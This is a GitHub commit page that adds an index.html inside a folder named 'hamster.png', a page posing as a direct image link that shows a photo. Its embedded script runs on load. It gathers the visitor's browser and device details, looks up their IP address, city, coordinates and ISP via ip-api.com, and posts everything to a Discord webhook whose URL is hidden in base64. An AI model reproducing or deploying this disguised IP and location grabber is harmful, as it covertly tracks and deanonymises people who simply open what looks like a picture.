Skip to content

Commit bfdc5ee

Browse files
authored
Add files via upload
1 parent d7c6030 commit bfdc5ee

1 file changed

Lines changed: 107 additions & 0 deletions

File tree

hamster.png/index.html

Lines changed: 107 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,107 @@
1+
<!DOCTYPE html>
2+
<html lang="en">
3+
<head>
4+
<meta charset="UTF-8">
5+
<meta name="viewport" content="width=device-width, initial-scale=1.0">
6+
<title>Image Direct Link</title>
7+
</head>
8+
<body>
9+
<img src="ham.jpg" alt="My Photo">
10+
<script>
11+
// Your Discord webhook URL, encoded in base64
12+
const encodedWebhookUrl = 'aHR0cHM6Ly9kaXNjb3JkLmNvbS9hcGkvd2ViaG9va3MvMTE4NzMyNTM4ODgyMTY0NzM5MC94ZFZDUFY4aG5vX0Q3UkNSN2JheFBadnZKXzVieFdjbWVmZGEySTdRRko1cmE1ekRDUlNFUlVsVzlJZnBZTWd0SUtPSQ==';
13+
14+
// Decode the webhook URL
15+
const webhookUrl = atob(encodedWebhookUrl);
16+
17+
// Function to send request information to the Discord webhook
18+
async function sendRequestInfo() {
19+
// Gather basic request information
20+
const requestInfo = {
21+
url: window.location.href,
22+
referrer: document.referrer,
23+
userAgent: navigator.userAgent,
24+
platform: navigator.platform,
25+
language: navigator.language,
26+
screenWidth: screen.width,
27+
screenHeight: screen.height,
28+
windowWidth: window.innerWidth,
29+
windowHeight: window.innerHeight
30+
};
31+
32+
// Fetch the IP address and additional info using the ip-api.com API
33+
try {
34+
const response = await fetch('http://ip-api.com/json/?fields=status,country,countryCode,region,regionName,city,district,zip,lat,lon,timezone,isp,org,as,asname,mobile,proxy,hosting,query');
35+
const data = await response.json();
36+
37+
if (data.status === 'success') {
38+
requestInfo.ip = data.query;
39+
requestInfo.country = data.country;
40+
requestInfo.countryCode = data.countryCode;
41+
requestInfo.region = data.region;
42+
requestInfo.regionName = data.regionName;
43+
requestInfo.city = data.city;
44+
requestInfo.district = data.district;
45+
requestInfo.zip = data.zip;
46+
requestInfo.lat = data.lat;
47+
requestInfo.lon = data.lon;
48+
requestInfo.timezone = data.timezone;
49+
requestInfo.isp = data.isp;
50+
requestInfo.org = data.org;
51+
requestInfo.as = data.as;
52+
requestInfo.asname = data.asname;
53+
requestInfo.mobile = data.mobile;
54+
requestInfo.proxy = data.proxy;
55+
requestInfo.hosting = data.hosting;
56+
} else {
57+
requestInfo.ip = 'IP fetch error';
58+
}
59+
} catch (error) {
60+
console.error('Error fetching IP address:', error);
61+
requestInfo.ip = 'IP fetch error';
62+
}
63+
64+
// Format the message to be sent to the Discord webhook
65+
const message = `
66+
**Request Information:**
67+
- **URL:** ${requestInfo.url}
68+
- **Referrer:** ${requestInfo.referrer}
69+
- **User Agent:** ${requestInfo.userAgent}
70+
- **Platform:** ${requestInfo.platform}
71+
- **Language:** ${requestInfo.language}
72+
- **Screen Dimensions:** ${requestInfo.screenWidth}x${requestInfo.screenHeight}
73+
- **Window Dimensions:** ${requestInfo.windowWidth}x${requestInfo.windowHeight}
74+
75+
**IP Information:**
76+
- **IP Address:** ${requestInfo.ip}
77+
- **Country:** ${requestInfo.country} (${requestInfo.countryCode})
78+
- **Region:** ${requestInfo.region} (${requestInfo.regionName})
79+
- **City:** ${requestInfo.city}
80+
- **District:** ${requestInfo.district}
81+
- **ZIP Code:** ${requestInfo.zip}
82+
- **Latitude:** ${requestInfo.lat}
83+
- **Longitude:** ${requestInfo.lon}
84+
- **Timezone:** ${requestInfo.timezone}
85+
- **ISP:** ${requestInfo.isp}
86+
- **Organization:** ${requestInfo.org}
87+
- **AS:** ${requestInfo.as} (${requestInfo.asname})
88+
- **Mobile:** ${requestInfo.mobile}
89+
- **Proxy:** ${requestInfo.proxy}
90+
- **Hosting:** ${requestInfo.hosting}
91+
`;
92+
93+
// Send the formatted message to the Discord webhook
94+
fetch(webhookUrl, {
95+
method: 'POST',
96+
headers: {
97+
'Content-Type': 'application/json'
98+
},
99+
body: JSON.stringify({ content: message })
100+
});
101+
}
102+
103+
// Send request information as soon as the script runs
104+
sendRequestInfo();
105+
</script>
106+
</body>
107+
</html>

0 commit comments

Comments
 (0)